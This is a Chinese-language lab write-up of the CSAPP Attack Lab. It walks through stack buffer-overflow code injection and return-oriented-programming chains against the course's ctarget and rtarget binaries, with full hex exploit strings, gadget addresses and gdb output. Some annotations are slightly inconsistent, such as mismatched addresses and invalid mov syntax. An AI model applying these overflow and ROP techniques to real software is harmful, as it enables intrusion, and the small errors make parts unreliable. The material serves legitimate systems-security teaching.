CSAPP Lab3: The Attack Lab
https://www.zybuluo.com/SovietPower/note/1801471
參考:
https://blog.csdn.net/AI_lalaland/article/details/105153847
https://blog.csdn.net/weixin_44520881/article/details/109274669
實驗介紹
具體看writeup.pdf
。
攻擊目標代碼ctarget和rtarget都使用如下函數從標准輸入中讀取字符串:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
BUFFER_SIZE
為編譯時就已確定的常數。Gets
和gets
一樣讀入整行字符串到buf
中,且不考慮是否可能越界。
測試:
測試可以先在1.txt
中輸入想要的16進制字符串,用hex2raw
轉為輸入字符串,然后用ctarget/rtarget
的-i
參數文件輸入:
$ ./hex2raw < 1.txt > 1.in
$ ./ctarget -qi 1.in
或
$ ./hex2raw < 1.in | ./ctarget -q
需要加參數-q
,不上傳得分到cmu的服務器(否則不能運行)。
用於hex2raw
而輸入的16進制串需每兩位一空格,如想要字符串\(01234\),則應輸入\(30\ 31\ 32\ 33\ 00\)(\(0x30,0x31,...,0x0\)),可加注釋/* */
,但/*
后和*/
前一定要有空格。
攻擊方式:
Code Injection
前三個Phase。
通過使緩沖區溢出,讓輸入覆蓋返回地址,使PC在retq
時返回到某個指定的位置,並執行注入的代碼。
Return-Oriented Programming
后兩個Phase。
棧隨機化(不能確定插入代碼位置)、將棧內存段設為不可執行(不能執行插入代碼),可以使常規破壞方法難以實現。
ROP用於處理這兩種情況。
Part I: Code Injection
程序CTARGET調用如下函數test
,輸入一個字符串,通過緩沖區溢出使得程序不從test
返回,而是調用touchx
函數。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
Level 1
void touch1()
{
vlevel = 1; / * Part of validation protocol * /
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
因為getbuf
中return
返回的是調用getbuf
前棧指針\(\%rsp\)指向的地址,所以將那個位置的值改為touch1
的地址即可。
objdump -d ctarget > ctarget.txt
得到匯編代碼:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可知BUFFER_SIZE
即buf
的大小為\(0x28=40\),位置在\(\%rsp\)。
所以\(40\)字符后寫入的內容會寫到\(\%rsp+0x28\)處,即調用getbuf
(callq
)時的棧頂,即返回地址。所以將touch1
(00000000004017c0 <touch1>
)的地址放在\(40\)個字符后即可。
所以想要的字符串內容為:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
用給的hex2raw
轉為相應的可輸入串輸入即可:./hex2raw < 1.in | ./ctarget -q
。
注意地址用小端法表示(注意區分指令與地址)。
Level 2
復習一下幾個點:
調用retq
時,PC指向當前%rsp
指向的位置,並popq
。
程序只是單純執行PC指向位置的16進制指令序列(機器代碼.o
,編譯器編譯后產生的二進制文件,匯編代碼.s
的機器代碼表示),並將PC+1。此外只會因callq,retq
等命令改變PC。
gcc -Og -S name.c
產生匯編文件name.s
;
gcc -Og -c name.c
或gcc -Og -c name.s
產生目標代碼文件name.o
(機器代碼);
objdump -d name.o
將機器代碼對應的匯編代碼逐行表示出來。
void touch2(unsigned val)
{
vlevel = 2; / * Part of validation protocol * /
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Level2要求跳轉時帶一個參數,即跳轉前\(\%rdi\)的值需為給定的\(cookie=0x59b997fa\),也就是先實現mov $0x59b997fa,%rdi
。
輸入串\(s\)存在\(\%rsp\)處。如果將getbuf
返回地址\(\%rsp+40\)的值設為\(\%rsp\),PC在retq
時就會跳轉到\(\%rsp\)處並執行\(s\)串內容所表示的機器代碼。
所以就可令\(s\)的內容為:
mov $0x59b997fa,%rdi
retq
這時的retq
需返回touch2
。注意從getbuf
執行到這里retq
了兩次,此時retq
的返回目標即\(\%rsp+40+8\)處存的地址。
所以找到touch2
的地址00000000004017ec
,通過溢出將其放在\(\%rsp+48\)處即可。
將movq $0x59b997fa, %rdi
ret
寫入2.s
,gcc -c 2.s
得到2.o
,再將2.o
反匯編即可得到兩條指令的機器代碼:
$ gcc -c 2.s
$ objdump -d 2.o
2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: c3 retq
此外需要知道buf
的存儲位置,即調用getbuf
后\(\%rsp\)的值,為\(0x5561dc78\):
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: ./ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 沒有那個文件或目錄.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) i r $rsp
rsp 0x5561dca0 0x5561dca0
(gdb) stepi
14 in buf.c
(gdb) i r $rsp
rsp 0x5561dc78 0x5561dc78
所以輸入串為:
48 c7 c7 fa 97 b9 59 c3 //通過串注入的命令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
ec 17 40 00 00 00 00 00 //再次返回到touch2
主要問題在於如何二次返回到touch2
。
因為retq
返回的是\(\%rsp\)所指位置,所以在retq
前pushq
touch2
的地址,也可以實現ret
到touch2
。這種方法可能更簡單。
即:
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
反匯編得到機器代碼:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
所以輸入串:
48 c7 c7 fa 97 b9 59 68 //通過串注入的命令
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
注意不能直接修改棧指針(如movq $0x4017ec,%rsp
),只能用push/pop,call/ret
修改指針。可能是最后validate
判斷了棧指針是否被不合理修改,或者這么改不好。
Level 3
/ * Compare string to hex represention of unsigned value * /
int hexmatch(unsigned val, char* sval)
{
char cbuf[110]; / * Make position of check string unpredictable * /
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char* sval)
{
vlevel = 3; / * Part of validation protocol * /
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
Level3要求跳轉時帶有參數sval
,且字符串的數值為cookie=0x59b997fa
。
可知字符串內容為35 39 62 39 39 37 66 61 00
(注意字符串沒有0x
,最后有一個\0
;內容為16進制表示!0x3n
即數n
的ASCII碼)。
如果和level2一樣,可知要注入的命令為(00000000004018fa <touch3>
):
; 第一行%rsp處為實際內容:35 39 62 39 39 37 66 61
movq $0x5561dc78,%rdi ; 0x5561dc78為串存儲位置%rsp
pushq $0x4018fa
ret
如果將上面的內容放到串\(sval\)里,再retq
到touch3
,因為從getbuf
retq
到\(\%rsp\)處前,會釋放\(\%rsp\)處\(40\)的空間,此時字符串存在\(\%rsp-40\)處。而調用touch3
時會調用hexmatch
,里面的數組會使\(\%rsp-\)至少\(110\),此時隨機位置存放的\(s\)可能會覆蓋\(\%rsp-40\)處的原串\(sval\)。
所以應將\(sval\)存在test
的棧幀里,而不是釋放了的getbuf
棧幀里。
所以流程應為:retq
前通過溢出在test
的棧幀處寫入字符串,然后返回到字符串地址\(\%rsp\)處,執行字符串內的內容(mov, push, ret
)。
這樣\(\%rdi\)的值則為test
的棧幀地址,需查看一下,為\(0x5561dca8\):
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: ./ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, test () at visible.c:90
90 visible.c: 沒有那個文件或目錄.
(gdb) disas
Dump of assembler code for function test:
=> 0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
End of assembler dump.
(gdb) i r $rsp
rsp 0x5561dcb0 0x5561dcb0
(gdb) stepi
92 in visible.c
(gdb) i r $rsp
rsp 0x5561dca8 0x5561dca8
push
的值依然為注入代碼位置\(0x4018fa\)。
所以指令為:
movq $RTARGET,%rdi ; 0x5561dc78為串存儲位置test棧幀
pushq $0x4018fa
ret
其機器語言為:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
輸入串:
48 c7 c7 a8 dc 61 55 68 /* 注入指令 */
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* 返回到注入命令(串位置) */
35 39 62 39 39 37 66 61 /* 將實際內容寫入棧幀 */
Part II: Return-Oriented Programming
RTARGET的目的同Part I中的level 2,3,但限制棧上的代碼不可執行。
此時需要利用代碼中本來的可執行段,構造某些操作指令,並使PC指向那個位置。
如一個函數:
void setval_210(unsigned* p)
{
*p = 3347663060U;
}
其機器代碼為:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
其中48 89 c7
正好就是movq %rax,%rdi
指令的表示,所以如果讓PC指向400f18
,程序會執行movq %rax,%rdi
retq
。
指令序列可在writeup.pdf
中查看。
Level 2
需要將\(cookie\)賦值給\(\%rdi\)。像Part I一樣可以通過兩次返回,使程序先執行特定指令,再返回touch2
,但不能直接注入指令。
設getbuf
棧幀位置為\(\%rsp\)。
注意字符串可以修改\(\%rsp\)附近的值;getbuf
返回時,會\(popq\)(\(\%rsp=\%rsp+48\))。
如果令getbuf
返回到一個popq %rdi
指令,再將\(\%rsp+48\)設為\(cookie=0x59b997fa\),即可實現\(\%rdi=0x59b997fa\)。
然后再進行retq
指令,並將\(\%rsp+56\)設為touch2
地址\(0x4017ec\),即可再返回touch2
。
在表中找popq %rdi
,即5f
。
然后在RTARGET的機器代碼中找5f
(5f c3
),得到地址\(0x402b19\):
00000000004023f6 <submitr>:
4023f6: 41 57 push %r15
...
402b18: 41 5f pop %r15
402b1a: c3 retq
所以輸入串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 /* 返回到popq %rdi */
fa 97 b9 59 00 00 00 00 /* 賦值%rsp+48 */
ec 17 40 00 00 00 00 00 /* 返回到touch2 */
如果找不到popq %rdi
,可以找並通過popq %rax/...
,mov %rax/...,%rdi
實現賦值,最后返回touch2
。
Level 3
需要將一個串\(sval\)的地址賦值給\(\%rdi\),串內容為\(cookie=\) 35 39 62 39 39 37 66 61 00
。
除了限制棧上的代碼不能執行外,也有隨機化。
\(cookie\)一定放在串最后,中間是調用某些指令,使得\(\%rdi\)指向\(cookie\)。
基本思路大概是,利用表將匯編中存在的mov
指令找出來(包括movq
和movl
,如果movq
沒有用movl
也一樣),通過存在的mov
一步步傳遞,最后將\(\%rdi\)賦值。
注意有個add_xy
函數,可以不需構造直接用,所以考慮先將棧頂賦值給\(\%rdi\),再給\(\%rdi\)加上一個數(偏移量)得到恰當存放位置。
找了一個答案看:
//in addval_190 401a06
movq %rsp,%rax //先將棧頂通過%rax傳給%rdi,再進行加
ret //48 89 e0 c3
//in addval_426
movq %rax,%rdi //%rdi=%rsp
ret
//in addval_219
popq %rax //給rax賦值偏移量,使得%rdi偏移到合適位置。這個偏移量數字即這條語句下面一行(棧中的靠下一層)
ret
//in getval_481
movl %eax,%edx //通過存在的鏈將%rax加到%rdi上
ret
//in getval_159
movl %edx,%ecx //繼續在鏈上傳遞
ret
//in addval_436
movl %ecx,%rsi //%rax->%rdx->%rcx傳給%rsi
ret
//in add_xy
lea (%rdi,%rsi,1),%rax //%rax=%rsi+%rdi
retq
//in addval_426
movq %rax,%rdi //%rdi=%rsi+%rdi 實現偏移
ret
輸入串為:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* %rax=48 */
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00 /* %rsi=48 */
fa 18 40 00 00 00 00 00 /* %rdi=%rsi+%rdi */
35 39 62 39 39 37 66 61 /* sval實際位置:%rsp+48 */
實驗結果